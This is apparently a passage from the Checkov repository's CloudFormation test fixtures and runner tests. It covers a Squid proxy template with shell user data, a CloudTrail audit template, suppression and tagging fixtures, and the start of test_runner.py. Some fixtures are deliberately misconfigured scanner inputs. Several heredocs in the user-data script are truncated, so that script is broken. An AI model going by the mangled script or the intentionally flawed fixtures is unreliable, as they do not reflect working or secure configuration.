/etc/pki/rhui/cdn.redhat.com-chain.crt /etc/pki/ca-trust/source/anchors\nupdate-ca-trust\n\n# install squid\nyum install -y squid\nmv /etc/squid /etc/squid.base\nln -s /etc/ssl/squid/ /etc/squid.base/ssl\ncp -r /etc/squid.base /etc/squid-current\nln -sfT /etc/squid-current /etc/squid\n\nmkdir -p /etc/systemd/system/squid.service.d\ncat >/etc/systemd/system/squid.service.d/shutdown.conf </etc/systemd/system/squid-shutdown.service <\"$script\" </etc/systemd/system/proxy-healthcheck.service <\"$script\" <<'EOF'\n#!/bin/bash\nset -eu -o pipefail\ntarget_group=\"$1\"\nEOF\nchmod +x \"$script\"\n\nsystemctl daemon-reload\nsystemctl enable squid\nsystemctl enable --now proxy-healthcheck\n\n# configure iptables\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 80 -j REDIRECT --to-port 3129\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 443 -j REDIRECT --to-port 3130\nINSTANCE_IP=$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 25 -j DNAT --to-destination $INSTANCE_IP\n\n# create ssl certificate\nmkdir -p /etc/ssl/squid\n(\n cd /etc/ssl/squid\n openssl genrsa -out squid.key 4096\n openssl req -new -key squid.key -out squid.csr -subj \"/CN=squid.proxy\"\n openssl x509 -req -days 3650 -in squid.csr -signkey squid.key -out squid.crt\n cat squid.key squid.crt >squid.pem\n chmod -R 400 *\n)\n\n# configure squid\ncat > /usr/local/bin/squid-config-refresh.sh << EOF\n#!/bin/bash\nset -eu -o pipefail\n\nold=\"\\$(readlink /etc/squid)\"\nnew=\"/etc/squid-\\$(date +%s)\"\nonexit() {\n code=\\$?\n put-custom-metric.sh SquidConfigStatus \\$code\n (( code )) && ln -sfT \"\\$old\" /etc/squid && rm -rf \"\\$new\"\n}\ntrap onexit EXIT\n\nrm -rf \"\\$new\"\ncp -r /etc/squid.base \"\\$new\"\naws s3 cp --recursive --quiet $ProxyConfigLocation \"\\$new\"\nchmod a+x \"\\$new\"\nchmod -R a+r \"\\$new\"\nmy_ip=\"\\$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\"\nsed -i \"s/LOCAL_IP/\\$my_ip/g\" \"\\$new/squid.conf\"\n\nif diff --brief --recursive \"\\$old\" \"\\$new\"; then\n echo 'Config has not changed' >&2\n rm -rf \"\\$new\"\n exit\nfi\n\necho 'Config has changed, reloading' >&2\nln -sfT \"\\$new\" /etc/squid\nsquid -k parse\n! squid -k parse 2>&1 | fgrep FATAL\nsystemctl start squid\nsleep 15\nsystemctl reload squid\nrm -rf \"\\$old\" || true\nEOF\nchmod +x /usr/local/bin/squid-config-refresh.sh\nsquid-config-refresh.sh || true\n\nsubnets=$(aws ec2 describe-subnets --filters Name=availability-zone,Values=$(get_az) | jq -r '.Subnets|map(.SubnetId)|join(\",\")')\nroute_tables=\"$(aws ec2 describe-route-tables --route-table-ids ${RouteTables//,/ } --filters Name=association.subnet-id,Values=\"$subnets\" | jq -r .RouteTables[].RouteTableId)\"\n\ncat >/usr/local/bin/takeover-route.sh <&2\n args=( --destination-cidr-block 0.0.0.0/0 --route-table-id \\$route --instance-id $INSTANCE_ID )\n aws ec2 replace-route \"\\${args[@]}\" || aws ec2 create-route \"\\${args[@]}\"\n fi\ndone\nEOF\nchmod +x /usr/local/bin/takeover-route.sh\n\n# configure cron jobs\ncrontab << EOF\nPATH=$PATH\n* * * * * squid-config-refresh.sh\n0 15 * * * sleep $((NUM*3600)); yum -y update --security\n0 0 * * * squid -k rotate\n*/10 * * * * AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION takeover-route.sh\nEOF\n\n# configure email relay for Data Squids only\nrun_postfix_config() {\n cat > /usr/local/bin/postfix-config-refresh.sh << EOF\n#!/bin/bash\nset -eu -o pipefail\n\nyum install cyrus-sasl-plain -y\nmv /etc/postfix/main.cf /etc/postfix/main.cf.orig\naws s3 cp \"$ProxyConfigLocation\"-mail/main.cf /etc/postfix/main.cf\naws s3 cp \"$ProxyConfigLocation\"-mail/recipient_whitelist /etc/postfix/recipient_whitelist\nmy_ip=\"\\$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\"\naws ssm put-parameter --name \"/config/email/relay$NUM\" --value \"\\$my_ip\" --type String --overwrite --region ap-southeast-2\nsed -i \"s/LOCAL_IP/\\$my_ip/g\" /etc/postfix/main.cf\necho \"mynetworks = $VpcCidr, 127.0.0.0/8\" >> /etc/postfix/main.cf\nmail_user=\"\\$(aws secretsmanager get-secret-value --secret-id proxy/email --region ap-southeast-2 --query SecretString|jq -r .|jq -r '.user')\"\nmail_password=\"\\$(aws secretsmanager get-secret-value --secret-id proxy/email --region ap-southeast-2 --query SecretString|jq -r .|jq -r '.secret')\"\necho \"email-smtp.ap-southeast-2.amazonaws.com \\$mail_user:\\$mail_password\" > /etc/postfix/relay_creds\npostmap /etc/postfix/recipient_whitelist\npostmap /etc/postfix/relay_creds\nrm /etc/postfix/recipient_whitelist\nrm /etc/postfix/relay_creds\nsystemctl restart postfix\nEOF\n\n chmod +x /usr/local/bin/postfix-config-refresh.sh && postfix-config-refresh.sh\n\n # modify crontab to add postfix config refresh\n crontab << EOF\nPATH=$PATH\n* * * * * squid-config-refresh.sh\n0 15 * * * sleep $((NUM*3600)); yum -y update --security\n0 0 * * * squid -k rotate\n*/10 * * * * AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION takeover-route.sh\n*/30 * * * * postfix-config-refresh.sh\nEOF\n}\n\nif [[ $RequirePostfix == \"Yes\" ]]; then\n run_postfix_config;\nfi\n\ncomplete_asg_lifecycle \"$StackName\" StartupLifecycleHook CONTINUE\nuntil takeover-route.sh -x; do sleep 10; done", "lambda": "redacted" } } }, "Resources": { "LaunchConfiguration1": { "Type": "AWS::AutoScaling::LaunchConfiguration", "Properties": { "AssociatePublicIpAddress": true, "InstanceType": { "Ref": "SquidInstanceType" }, "BlockDeviceMappings": [ { "DeviceName": "/dev/xvda", "Ebs": { "VolumeSize" : "50", "Encrypted": true } } ], "ImageId": { "Ref": "ImageId" }, "UserData": { "Fn::Base64": { "Fn::Sub": [ "#!/bin/bash\n\nRequirePostfix=${RequirePostfix}\nVpcCidr=${VpcCidr}\nProxyConfigLocation=s3://${ProxyConfigBucket}/${ProxyConfigPath}\nStackName=${AWS::StackName}\nexport AWS_DEFAULT_REGION=${AWS::Region}\nASGName=${ASGName}\nSquidEIP=${SquidEIP}\nTargetGroup=${ProxyTargetGroup}\nRouteTables=${RouteTables}\nProxyLambda=${TransparentProxyLambda}\nNUM=1\n${UserData}\n", { "RouteTables": { "Ref": "RouteTables" }, "ASGName": "AutoScalingGroup1", "SquidEIP": { "Fn::Select": [ 1, { "Ref": "SquidEIPs" } ] }, "UserData": { "Fn::FindInMap": [ "Blobs", "Code", "userdata" ] } } ] } } } } } } ================================================ FILE: tests/cloudformation/runner/resources/success.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "acme AWS CloudTrail and Config Security Audit Integration", "Mappings": { "acmeEnvironment": { "env": { "organizationID": "${account_id}", "SnsNameForConfirmCustomerDeployment": "${sns_name}" } } }, "Metadata": { "AWS::CloudFormation::Interface": { "ParameterGroups": [ { "Label": { "default": "Required Parameters" }, "Parameters": [ "CustomerName", "ResourceNamePrefix", "ExternalID", "LogFilesExpiration", "CreateTrail" ] }, { "Label": { "default": "New Trail Options" }, "Parameters": [ "NewTrailLogFilePrefix" ] }, { "Label": { "default": "Existing Trail Setup" }, "Parameters": [ "ExistingTrailBucketName", "ExistingTrailTopicArn", "SecurityAccountId" ] } ], "ParameterLabels": { "ResourceNamePrefix": { "default": "Resource name prefix" }, "CustomerName": { "default": "Customer name" }, "ExternalID": { "default": "ExternalID" }, "CreateTrail": { "default": "Create new trail?" }, "NewTrailLogFilePrefix": { "default": "Log file prefix" }, "ExistingTrailBucketName": { "default": "Bucket name" }, "ExistingTrailTopicArn": { "default": "Topic ARN" }, "LogFilesExpiration": { "default": "LifecycleConfigurationExpirationInDays" } } } }, "Parameters": { "ResourceNamePrefix": { "Description": "Names of resources created by the stack will be prefixed with this value to ensure uniqueness.", "Type": "String", "Default": "acme", "MinLength": "1", "MaxLength": "32", "AllowedPattern": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", "ConstraintDescription": "Invalid resource name prefix value. Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$" }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[a-zA-Z0-9]*", "ConstraintDescription": "must contain only alphanumeric characters." }, "ExternalID": { "Description": "The cross-account access role created by the stack will use this value for its ExternalID.", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[\\w+=,.@:\\/-]*", "ConstraintDescription": "Invalid ExternalID value. Must match pattern [\\w+=,.@:\\/-]*" }, "CreateTrail": { "Description": "You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.", "Type": "String", "AllowedValues": [ "Yes", "No" ], "Default": "Yes" }, "NewTrailLogFilePrefix": { "Description": "If you want the new trail to prefix its log file names, provide the prefix to use. Otherwise, leave it blank.", "Default": "", "Type": "String", "MaxLength": "64", "AllowedPattern": "[a-zA-Z0-9-_.!()* ]*", "ConstraintDescription": "Invalid log file prefix. Must match pattern [a-zA-Z0-9-_.!()* ]*" }, "ExistingTrailBucketName": { "Description": "Provide the name of the S3 bucket for your existing trail setup. The bucket must be owned by the current account.", "Default": "", "Type": "String", "MaxLength": "128" }, "ExistingTrailTopicArn": { "Description": "Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket", "Default": "", "Type": "String", "MaxLength": "256" }, "SecurityAccountId": { "Description": "In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account", "Default": "", "Type": "String", "AllowedPattern": "\\d{12}|\\d{0}", "MaxLength": "12" }, "LogFilesExpiration": { "Description": "Number of days log files will be saved for. After this many days, log files will be deleted", "Type": "Number", "Default": "30", "MinValue": "7", "MaxValue": "365" } }, "Conditions": { "CreateNewTrail": { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] }, "UseExistingTrail": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] } ] }, "NewTrailUsesLogFilePrefix": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "NewTrailLogFilePrefix" }, "" ] } ] }, "SecurityAccountExists": { "Fn::Equals": [ { "Ref": "SecurityAccountId" }, "" ] } }, "Resources": { "acmeCWSBucket": { "Condition": "CreateNewTrail", "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "VersioningConfiguration": { "Status": "Enabled" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucket2": { "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "LoggingConfiguration": { "DestinationBucketName": "dest-bucket", "LogFilePrefix": "" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucketPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::S3::BucketPolicy", "Properties": { "Bucket": { "Ref": "acmeCWSBucket" }, "PolicyDocument": { "Version": "2012-10-17", "Id": "acmeCWSBucketPolicy", "Statement": [ { "Sid": "CloudTrailAclCheck", "Action": "s3:GetBucketAcl", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" } }, { "Sid": "CloudTrailWrite", "Action": "s3:PutObject", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Fn::Join": [ "", [ "/", { "Ref": "NewTrailLogFilePrefix" } ] ] }, "" ] }, "/AWSLogs/", { "Ref": "AWS::AccountId" }, "/*" ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }, "Bool": { "aws:SecureTransport": "true" } } }, { "Sid": "DenyUnsecureTransport", "Action": "s3:*", "Effect": "Deny", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, "/*" ] ] }, { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] } ], "Principal": "*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } } }, "acmeCWSTopic": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::Topic", "Properties": { "TopicName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] } } }, "acmeCWSTopicPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::TopicPolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "CloudTrailPublish", "Action": "SNS:Publish", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Resource": "*" } ] }, "Topics": [ { "Ref": "acmeCWSTopic" } ] } }, "acmeCWSTrail": { "Condition": "CreateNewTrail", "Type": "AWS::CloudTrail::Trail", "DependsOn": [ "acmeCWSTopicPolicy", "acmeCWSBucketPolicy" ], "Properties": { "TrailName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "S3BucketName": { "Ref": "acmeCWSBucket" }, "S3KeyPrefix": { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, { "Ref": "AWS::NoValue" } ] }, "SnsTopicName": { "Fn::GetAtt": [ "acmeCWSTopic", "TopicName" ] }, "KMSKeyId": { "Ref": "CloudtrailKMSKeyAlias" }, "EnableLogFileValidation": true, "IncludeGlobalServiceEvents": true, "IsMultiRegionTrail": true, "IsLogging": true } }, "CloudtrailKMSKey": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Key", "Properties": { "Description": "KMS for Cloudtrail, shared with Lacework and acme", "Enabled": true, "EnableKeyRotation": true, "KeyPolicy": { "Version": "2012-10-17", "Id": "key-default-1", "Statement": [ { "Sid": "Enable owner account permissions", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Ref": "AWS::AccountId" }, ":root" ] ] } }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow CloudTrail to encrypt logs", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": [ "kms:GenerateDataKey*", "kms:ReEncryptFrom" ], "Resource": "*", "Condition": { "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } }, { "Sid": "Allow CloudTrail to describe key", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "kms:DescribeKey", "Resource": "*" }, { "Sid": "Enable acme & Lacework log decryption", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "kms:Decrypt" ], "Resource": "*", "Condition": { "StringEquals": { "kms:CallerAccount": { "Ref": "AWS::AccountId" } }, "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } } ] }, "KeyUsage": "ENCRYPT_DECRYPT" }, "Metadata": { "AWS::CloudFormation::Designer": { "id": "787370fe-e579-465f-98c5-f1c84f79a810" } } }, "CloudtrailKMSKeyAlias": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Alias", "Properties": { "AliasName": { "Fn::Join": [ "", [ "alias/", { "Ref": "ResourceNamePrefix" }, "-CloudtrailKey" ] ] }, "TargetKeyId": { "Ref": "CloudtrailKMSKey" } } }, "acmeCWSQueue": { "Type": "AWS::SQS::Queue", "Properties": { "QueueName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "VisibilityTimeout": 43200 } }, "acmeCWSQueuePolicy": { "Type": "AWS::SQS::QueuePolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "AwsSnsAccess", "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage" ], "Resource": "*", "Condition": { "ArnEquals": { "aws:SourceArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } } }, { "Sid": "acmeSqsAccess", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Action": [ "sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:ListDeadLetterSourceQueues", "sqs:ChangeMessageVisibility" ], "Resource": "*" } ] }, "Queues": [ { "Ref": "acmeCWSQueue" } ] } }, "acmeCWSSubscription": { "Type": "AWS::SNS::Subscription", "Properties": { "Endpoint": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] }, "Protocol": "sqs", "TopicArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } }, "acmeCWSSACrossAccountAccessRole": { "Type": "AWS::IAM::Role", "Properties": { "RoleName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecwssarole" ] ] }, "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Condition": { "StringEquals": { "sts:ExternalId": { "Ref": "ExternalID" } } } } ] }, "ManagedPolicyArns": [ "arn:aws:iam::aws:policy/SecurityAudit", "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess" ], "Policies": [ { "PolicyName": "acmeCWSPolicy", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "ConsumeNotifications", "Action": [ "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:DeleteMessage", "sqs:ReceiveMessage" ], "Effect": "Allow", "Resource": [ { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } ] }, { "Sid": "ListLogFiles", "Action": [ "s3:ListBucket" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ], "Condition": { "StringLike": { "s3:prefix": [ { "Fn::Join": [ "", [ { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, "AWSLogs/*" ] ] } ] } } }, { "Sid": "ReadLogFiles", "Action": [ "s3:Get*" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ] }, { "Sid": "GetAccountAlias", "Action": [ "iam:ListAccountAliases" ], "Effect": "Allow", "Resource": "*" }, { "Sid": "GetMetricDataAccess", "Action": [ "cloudwatch:GetMetricData" ], "Effect": "Allow", "Resource": "*" } ] } } ] } }, "eksCluster": { "Type": "AWS::EKS::Cluster", "Properties": { "EncryptionConfig" : [ { "Provider": { "KeyArn": "" }, "Resources": ["secrets"] } ] } }, "acmeSnsCustomResource": { "Type": "Custom::acmeSnsCustomResource", "DependsOn": [ "acmeCWSQueuePolicy" ], "Properties": { "Type": "AWS_CT_CFG", "ServiceToken": { "Fn::Join": [ "", [ "arn:aws:sns:", { "Ref": "AWS::Region" }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "SnsNameForConfirmCustomerDeployment" ] } ] ] }, "IntegrationName": { "Ref": "AWS::StackName" }, "CrossAccountRoleArn": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] }, "ExternalId": { "Ref": "ExternalID" }, "SqsQueueUrl": { "Ref": "acmeCWSQueue" }, "CustomerName": { "Ref": "CustomerName" }, "DeploymentRegion": { "Ref": "AWS::Region" }, "ActionType": "CustomerSignUp", "Account": "acme", "TemplateVersion": "${template_version}", "AWSAccountId": { "Ref": "AWS::AccountId" }, "SecurityAccountId": { "Fn::If": [ "SecurityAccountExists", { "Ref": "AWS::AccountId" }, { "Ref": "SecurityAccountId" } ] } } } }, "Outputs": { "RoleARN": { "Description": "Cross-account access role ARN to share with acme for CloudTrail integration", "Value": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] } }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Value": { "Ref": "CustomerName" } }, "SQSQueueURL": { "Description": "SQS queue URL to share with acme for CloudTrail Integration", "Value": { "Ref": "acmeCWSQueue" } }, "SQSQueueARN": { "Description": "SQS queue ARN to share with acme for CloudTrail Integration", "Value": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } }, "DeploymentRegion": { "Description": "The region that the customer installed this cloud-formation template", "Value": { "Ref": "AWS::Region" } }, "TemplateVersion": { "Description": "acme.io template version", "Value": "${template_version}" } } } ================================================ FILE: tests/cloudformation/runner/resources/suppress_graph_check.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "Suppress Test" Resources: CommentSuppress: # checkov:skip=CKV2_AWS_33 inline suppression Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App with no WAF" AuthenticationType: "API_KEY" MetadataSuppress: Metadata: checkov: skip: - id: CKV2_AWS_33 comment: inline suppression Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App with no WAF" AuthenticationType: "API_KEY" ================================================ FILE: tests/cloudformation/runner/resources/tags.yaml ================================================ Resources: DataBucket: # Public, not encrypted, no access logs, no versioning Type: AWS::S3::Bucket DeletionPolicy: Delete Properties: BucketName: !Sub "${AWS::AccountId}-data" Tags: - Key: Simple Value: Value - Key: Name Value: !Sub "${AWS::AccountId}-data" - Key: Environment Value: !Sub - long-form-sub-${account} - account: test - Key: Account Value: !Sub - long-form-sub-${account} - { account: !Ref AWS::AccountId } NoTags: # Public, not encrypted, no access logs, no versioning Type: AWS::S3::Bucket DeletionPolicy: Delete Properties: BucketName: !Sub "${AWS::AccountId}-notags" EKSClusterNodegroup: Type: AWS::EKS::Nodegroup Properties: ClusterName: !Ref ClusterName NodegroupName: !Ref NodeGroupName NodeRole: !GetAtt EKSNodegroupIAMRole.Arn InstanceTypes: !Ref NodeGroupInstanceType ScalingConfig: MinSize: !Ref NodeGroupAmount DesiredSize: !Ref NodeGroupAmount MaxSize: !Ref NodeGroupAmount Subnets: !Ref VPCSubnets Tags: Name: !Join ["-", [!Ref ClusterName, EKS, !Ref NodeGroupName]] TerraformServerAutoScalingGroup: Type: AWS::AutoScaling::AutoScalingGroup Properties: LaunchConfigurationName: !Ref TerraformServerAutoScalingLaunchConfig MaxSize: 20 MinSize: 1 DesiredCapacity: !Ref WrapperServerCount VPCZoneIdentifier: - !If - CreateVpc - !If - CreatePrivateSubnet - !Ref TerraformPrivateSubnet - !Ref TerraformPublicSubnet - !Ref Subnet Tags: - Key: Name Value: TF-FulfillmentServer PropagateAtLaunch: true - Key: terraform-server-tag-key Value: terraform-server-tag-value PropagateAtLaunch: true - !If - CreateVpc - Key: PublicRouteDependency Value: !Ref TerraformPublicGatewayRoute PropagateAtLaunch: false - !Ref AWS::NoValue - !If - CreatePrivateSubnet - Key: PrivateRouteDependency Value: !Ref TerraformNatGatewayRoute PropagateAtLaunch: false - !Ref AWS::NoValue ================================================ FILE: tests/cloudformation/runner/test_runner.py ================================================ import dis import inspect import os import unittest from collections import defaultdict from pathlib import Path from typing import Dict, Any import pytest from parameterized import parameterized_class from checkov.cloudformation.checks.resource.registry import cfn_registry from checkov.cloudformation import cfn_utils from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.parser import parse from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import BcSeverities, Severities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.models.enums import CheckResult, CheckCategories from checkov.runner_filter import RunnerFilter from checkov.cloudformation.runner import Runner from checkov.common.output.report import Report from checkov.cloudformation.cfn_utils import create_definitions RESOURCES_DIR = Path(__file__).parent / "resources" @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector} ]) class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_checks = cfn_registry.checks def test_registry_has_type(self): self.assertEqual(cfn_registry.report_type, CheckType.CLOUDFORMATION) def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_abs_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_relative_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "success.json") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_relative_path_with_abs_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "success.json") file_rel_path = os.path.relpath(scan_file_path) file_abs_path = os.path.abspath(scan_file_path) runner = Runner(db_connector=self.db_connector()) 